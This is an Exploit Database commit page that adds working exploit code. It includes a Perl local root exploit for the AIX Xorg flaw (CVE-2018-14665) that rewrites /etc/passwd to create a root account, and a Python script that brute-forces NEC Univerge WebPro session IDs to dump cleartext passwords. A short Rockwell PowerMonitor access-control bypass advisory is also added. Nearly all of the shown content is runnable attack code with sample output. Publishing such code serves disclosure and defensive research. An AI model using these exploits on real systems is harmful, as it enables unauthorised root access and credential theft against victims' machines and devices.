Skip to content

Commit 60710bb

Browse files
author
Offensive Security
committed
DB: 2018-12-05
19 changes to exploits/shellcodes Microsoft Lync for Mac 2011 - Injection Forced Browsing/Download Wireshark - 'cdma2k_message_ACTIVE_SET_RECORD_FIELDS' Stack Corruption Wireshark - 'find_signature' Heap Out-of-Bounds Read Xorg X11 Server (AIX) - Local Privilege Escalation Emacs - movemail Privilege Escalation (Metasploit) OpenSSH < 7.7 - User Enumeration (2) HP Intelligent Management - Java Deserialization RCE (Metasploit) Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control Authentication Bypass DomainMOD 4.11.01 - Owner name Field Cross-Site Scripting NEC Univerge Sv9100 WebPro - 6.00 - Predictable Session ID / Clear Text Password Storage KeyBase Botnet 1.5 - SQL Injection Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting DomainMOD 4.11.01 - Custom Domain Fields Cross-Site Scripting DomainMOD 4.11.01 - Custom SSL Fields Cross-Site Scripting NUUO NVRMini2 3.9.1 - Authenticated Command Injection DomainMOD 4.11.01 - Registrar Cross-Site Scripting FreshRSS 1.11.1 - Cross-Site Scripting Linux/x86 - /usr/bin/head -n99 cat etc/passwd Shellcode (61 Bytes) Linux/x64 - Reverse (0.0.0.0:1907/TCP) Shell Shellcode (119 Bytes)
1 parent 0a4925c commit 60710bb

21 files changed

Lines changed: 1523 additions & 0 deletions

File tree

‎exploits/aix/local/45938.pl‎

Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
# Exploit Title: AIX Xorg X11 Server - Local Privilege Escalation
2+
# Date: 29/11/2018
3+
# Exploit Author: @0xdono
4+
# Original Discovery and Exploit: Narendra Shinde
5+
# Vendor Homepage: https://www.x.org/
6+
# Platform: AIX
7+
# Version: X Window System Version 7.1.1
8+
# Fileset: X11.base.rte < 7.1.5.32
9+
# Tested on: AIX 7.1 (6.x to 7.x should be vulnerable)
10+
# CVE: CVE-2018-14665
11+
#
12+
# Explanation:
13+
# Incorrect command-line parameter validation in the Xorg X server can
14+
# lead to privilege elevation and/or arbitrary files overwrite, when the
15+
# X server is running with elevated privileges.
16+
# The -logfile argument can be used to overwrite arbitrary files in the
17+
# file system, due to incorrect checks in the parsing of the option.
18+
#
19+
# This is a port of the OpenBSD X11 Xorg exploit to run on AIX.
20+
# It overwrites /etc/passwd in order to create a new user with root privile=
21+
ges.=20
22+
# All currently logged in users need to be included when /etc/passwd is ove=
23+
rwritten,
24+
# else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to ch=
25+
ange user.
26+
# The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX=
27+
,
28+
# and is replaced by '-config'.
29+
# ksh93 is used for ANSI-C quoting, and is installed by default on AIX.
30+
#
31+
# IBM has not yet released a patch as of 29/11/2018.
32+
#
33+
# See also:
34+
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html
35+
# https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
36+
# https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl
37+
#
38+
# Usage:
39+
# $ oslevel -s
40+
# 7100-04-00-0000
41+
# $ Xorg -version
42+
# =20
43+
# X Window System Version 7.1.1
44+
# Release Date: 12 May 2006
45+
# X Protocol Version 11, Revision 0, Release 7.1.1
46+
# Build Operating System: AIX IBM
47+
# Current Operating System: AIX sovma470 1 7 00C3C6F54C00
48+
# Build Date: 07 July 2006
49+
# Before reporting problems, check http://wiki.x.org
50+
# to make sure that you have the latest version.
51+
# Module Loader present
52+
# $ id
53+
# uid=3D16500(nmyo) gid=3D1(staff)
54+
# $ perl aixxorg.pl
55+
# [+] AIX X11 server local root exploit
56+
# [-] Checking for Xorg and ksh93=20
57+
# [-] Opening /etc/passwd=20
58+
# [-] Retrieving currently logged in users=20
59+
# [-] Generating Xorg command=20
60+
# [-] Opening /tmp/wow.ksh=20
61+
# [-] Writing Xorg command to /tmp/wow.ksh=20
62+
# [-] Backing up /etc/passwd to /tmp/passwd.backup=20
63+
# [-] Making /tmp/wow.ksh executable=20
64+
# [-] Executing /tmp/wow.ksh=20
65+
# [-] Cleaning up /etc/passwd and removing /tmp/wow.ksh=20
66+
# [-] Done=20
67+
# [+] 'su wow' for root shell=20
68+
# $ su wow
69+
# # id
70+
# uid=3D0(root) gid=3D0(system)
71+
# # whoami
72+
# root
73+
74+
#!/usr/bin/perl
75+
print "[+] AIX X11 server local root exploit\n";
76+
77+
# Check Xorg is in path
78+
print "[-] Checking for Xorg and ksh93 \n";
79+
chomp($xorg =3D `command -v Xorg`);
80+
if ($xorg eq ""){=20
81+
print "[X] Can't find Xorg binary, try hardcode it? exiting... \n";
82+
exit;
83+
}
84+
85+
# Check ksh93 is in path
86+
chomp($ksh =3D `command -v ksh93`);
87+
if ($ksh eq ""){
88+
print "[X] Can't find ksh93 binary, try hardcode it? exiting... \n";
89+
exit;
90+
}
91+
92+
# Read in /etc/passwd
93+
print "[-] Opening /etc/passwd \n";
94+
open($passwd_fh, '<', "/etc/passwd");
95+
chomp(@passwd_array =3D <$passwd_fh>);
96+
close($passwd_fh);
97+
98+
# Retrieve currently logged in users
99+
print "[-] Retrieving currently logged in users \n";
100+
@users =3D `who | cut -d' ' -f1 | sort | uniq`;
101+
chomp(@users);
102+
103+
# For all logged in users, add their current passwd entry to string
104+
# that will be used to overwrite passwd
105+
$users_logged_in_passwd =3D '';
106+
foreach my $user (@users)
107+
{
108+
$user .=3D ":";
109+
foreach my $line (@passwd_array)
110+
{
111+
if (index($line, $user) =3D=3D 0) {
112+
$users_logged_in_passwd =3D $users_logged_in_passwd . '\n' . $l=
113+
ine;
114+
}
115+
}
116+
}
117+
118+
# Use '-config' as '-fp' (which is used in the original BSD exploit) is not=
119+
written to log
120+
print "[-] Generating Xorg command \n";
121+
$blob =3D '-config ' . '$\'' . $users_logged_in_passwd . '\nwow::0:0::/:/us=
122+
r/bin/ksh\n#' . '\'';
123+
124+
print "[-] Opening /tmp/wow.ksh \n";=09=09
125+
open($fr, '>', "/tmp/wow.ksh");
126+
127+
# Use ksh93 for ANSI-C quoting
128+
print "[-] Writing Xorg command to /tmp/wow.ksh \n";
129+
print $fr '#!' . "$ksh\n";
130+
print $fr "$xorg $blob -logfile ../etc/passwd :1 > /dev/null 2>&1 \n";
131+
close $fr;
132+
133+
# Backup passwd=20
134+
print "[-] Backing up /etc/passwd to /tmp/passwd.backup \n";
135+
system("cp /etc/passwd /tmp/passwd.backup");
136+
137+
# Make script executable and run it
138+
print "[-] Making /tmp/wow.ksh executable \n";
139+
system("chmod +x /tmp/wow.ksh");
140+
print "[-] Executing /tmp/wow.ksh \n";
141+
system("/tmp/wow.ksh");
142+
143+
# Replace overwritten passwd with: original passwd + wow user
144+
print "[-] Cleaning up /etc/passwd and removing /tmp/wow.ksh \n";
145+
$result =3D `su wow "-c cp /tmp/passwd.backup /etc/passwd && echo 'wow::0:0=
146+
::/:/usr/bin/ksh' >> /etc/passwd" && rm /tmp/wow.ksh`;
147+
148+
print "[-] Done \n";
149+
print "[+] 'su wow' for root shell \n";

‎exploits/hardware/webapps/45937.txt‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# Exploit Title: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control
2+
# Date: 2018-11-27
3+
# Exploit Author: Luca.Chiou
4+
# Vendor Homepage: https://www.rockwellautomation.com/
5+
# Version: 1408-EM3A-ENT B
6+
# Tested on: It is a proprietary devices: https://ab.rockwellautomation.com/zh/Energy-Monitoring/1408-PowerMonitor-1000
7+
# CVE : CVE-2018-19616
8+
9+
# 1. Description:
10+
# In Rockwell Automation Allen-Bradley PowerMonitor 1000 web page, there are a few buttons are disabled,
11+
# such as “Edit”, “Remove”, “AddNew”, “Change Policy Holder” and “Security Configuration”.
12+
# View the source code of login page, those buttons/functions just use the “disabled” parameter to control the access right.
13+
# It is allow attackers using proxy to erase the “disabled” parameter, and enable those buttons/functions.
14+
# Once those buttons/functions are enabled.
15+
# Attackers is capable to add a new user who have administrator right.

‎exploits/hardware/webapps/45942.py‎

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
'''
2+
[+] Credits: hyp3rlinx
3+
[+] Website: hyp3rlinx.altervista.org
4+
[+] Source: http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt
5+
[+] ISR: ApparitionSec
6+
7+
8+
***Greetz: indoushka | Eduardo B. 0day***
9+
10+
11+
[Vendor]
12+
www.necam.com
13+
14+
15+
[Affected Product Code Base]
16+
NEC Univerge Sv9100 WebPro - 6.00.00
17+
18+
19+
NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems.
20+
21+
22+
Public facing installations as of Dec 1, 2018
23+
https://www.shodan.io/search?query=Server+Henry
24+
Result: 7,797
25+
26+
27+
[Vulnerability Type(s)]
28+
[CVE Reference(s)]
29+
Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742
30+
31+
32+
[Attack Vectors]
33+
Make repeated remote HTTP requests until arriving at a valid authenticated sessionId.
34+
35+
36+
Security Issue:
37+
================
38+
NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI.
39+
Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords.
40+
41+
e.g..
42+
43+
curl http://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8)
44+
45+
46+
Exploit/POC:
47+
=============
48+
'''
49+
50+
from socket import *
51+
import re
52+
53+
#Univerge Sv9100 NEC WebPro : 6.00
54+
#Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage
55+
#http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords.
56+
57+
print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC"
58+
print "hyp3rlinx"
59+
60+
61+
IP=raw_input("[+] TARGET> ")
62+
res=''
63+
findme="Programming Password Setup"
64+
cnt=0
65+
tmp=False
66+
tmp2=False
67+
pwned=False
68+
69+
#check application is NEC and vuln version
70+
def is_NEC_webpro(u):
71+
global tmp,tmp2,cnt
72+
res=''
73+
cnt+=1
74+
s=socket(AF_INET, SOCK_STREAM)
75+
s.connect((IP,80))
76+
s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')
77+
78+
while True:
79+
res=s.recv(4048)
80+
if res.find('</html>')!=-1:
81+
break
82+
s.close()
83+
84+
if re.findall(r"\bWebPro\b", res):
85+
tmp=True
86+
if tmp and cnt < 3:
87+
is_NEC_webpro('/Login.htm')
88+
if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res):
89+
tmp2 = True
90+
if tmp == True and tmp2 == True:
91+
return True
92+
return False
93+
94+
95+
96+
def dump(acct):
97+
file=open('NEC-Accounts.txt', 'w')
98+
file.write(acct+'\n')
99+
file.close()
100+
101+
102+
def breach(sid):
103+
global pwned
104+
try:
105+
s=socket(AF_INET, SOCK_STREAM)
106+
s.connect((IP,80))
107+
sid=str(sid)
108+
print 'trying sessid '+sid
109+
s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')
110+
except Exception as e:
111+
print str(e)
112+
113+
while True:
114+
res = s.recv(4096)
115+
if res.find('</html>')!=-1:
116+
break
117+
if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session.
118+
dump(res)
119+
print res
120+
pwned=True
121+
122+
s.close()
123+
return pwned
124+
125+
126+
def sessgen():
127+
for sessid in range(1000,15000): ##test 14109
128+
if breach(sessid):
129+
break
130+
131+
132+
if __name__=='__main__':
133+
if is_NEC_webpro('/'):
134+
sessgen()
135+
else:
136+
print 'Not NEC or version not vuln.'
137+
138+
'''
139+
Network Access:
140+
===============
141+
Remote
142+
143+
144+
Severity:
145+
=========
146+
High
147+
148+
149+
Disclosure Timeline:
150+
=============================
151+
Vendor Notification: May 15, 2018
152+
No reply
153+
Vendor Notification: May 18, 2018
154+
No reply
155+
Vendor Notification: June 4, 2018
156+
No reply
157+
Mitre assign CVE: June 5, 2018
158+
JPCERT replies: June 6, 2018
159+
JPCERT shares information with NEC : June 7, 2018
160+
Request status : August 11, 2018
161+
JPCERT contact NEC : August 14, 2018
162+
No reply from vendor
163+
Request status : August 21, 2018
164+
JPCERT again contacts NEC : August 21, 2018
165+
JPCERT "vendor working on a release" : August 23 2018
166+
JPCERT "Vendor release October 2018" : September 12, 2018
167+
NEC "Requests public disclosure after December 1st." : November 19, 2018
168+
December 2, 2018 : Public Disclosure
169+
170+
171+
[+] Disclaimer
172+
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
173+
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
174+
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
175+
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
176+
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
177+
or exploits by the author or elsewhere. All content (c).
178+
'''

0 commit comments

Comments
 (0)